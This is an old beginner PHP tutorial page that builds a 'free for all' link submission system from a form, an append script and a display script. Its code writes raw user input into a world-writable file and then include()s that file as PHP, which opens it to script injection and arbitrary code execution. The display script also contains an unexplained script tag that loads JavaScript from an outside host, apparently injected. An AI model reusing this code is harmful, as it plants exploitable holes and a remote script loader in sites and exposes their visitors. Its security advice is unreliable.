Your Ad Here

 Navigation
Home
Source code
Tutorials
RSS feeds
Articles
Wordpress plugins
Blog
Books
Software
Downloads
Hosting
manuals
Script directory
Training
Our Links




 Sponsors
 Links
gambling sites
low cost magazines
golfing products
 Downloads
 Misc
Webmaster Resources
Only PHP
ScriptSearch.com
Scripts.com - Get the best scripts NOW!
AndreaPHP Programming

Valid XHTML 1.0 Transitional


Valid CSS!


FFA links (basic version)


FFA links (basic version)

This is a very simple FFA system which basically involves a user submitting their site and a description via a form and this info is then saved into a text file . This text file is then displayed on a page . When a link is click ed a new window opens with the url displayed in it.

First create a blank text file , in this case we called ours ffalinks.txt , this part is important when you upload the text file you have to make it readable and writable , I used chmod 777 .Now for our form for users to submit their sites , here is the code .

<form action = "addlink.php" method ="post">
URL : <input type = "text" name = "url"><br>
Description : <input type = "text" name = "desc"><br>
<input type = "submit" value = "add link">
</form>

Straightforward form , nothing to complex . As you may have noticed the page that does the work is called addlink.php . You wont believe how simple this is . Here is the code .

<?php
//open our file
$fp = fopen("ffalinks.txt" , "a+");
//add details from form
fputs($fp ,"<b><a href=\"$url\" target=\"_blank\">$url</a></b><br>$desc<br>");
//close file
fclose($fp);
//display message and link
echo ("Thanks for adding your link ");
echo ("<a href='ffalinksshow.php'>View FFA links</a>");
?>

Wow that is it , pretty good eh . Now all you have to do is create a page to display the links , in this example this is called ffalinksshow.php . the most important part of the code is the include this includes your text file with all the links and displays the links on the page. Here is the code

<?
echo ("<b>Beginners PHP FFA links example</b><br><br>");
echo ("<SCRIPT LANGUAGE='javascript' src='http://www.qksz.net/1e-2kwo'> </SCRIPT>");
echo ("<hr>");
include ("ffalinks.txt");
echo ("<a href='index.htm'>back to home page</a>");
?>




Books
 Sponsors
 Random Code
convert binary to decimal(math)
Email verify function(internet)
updating clock(image)
 Random Article
  Network
Programming resources
Tutorials directory
Clickbank mall
sell software
Free auctions, low cost stores
UK products
US products
Gambling directory
Sexy free wallpapers
Hosting resources
ASP site
DVD site
Domain names
Dating site
Software directory
Maxi directory
bigarticle : free articles




beginners PHP Copyright © 2004 onwards by beginnersPHP.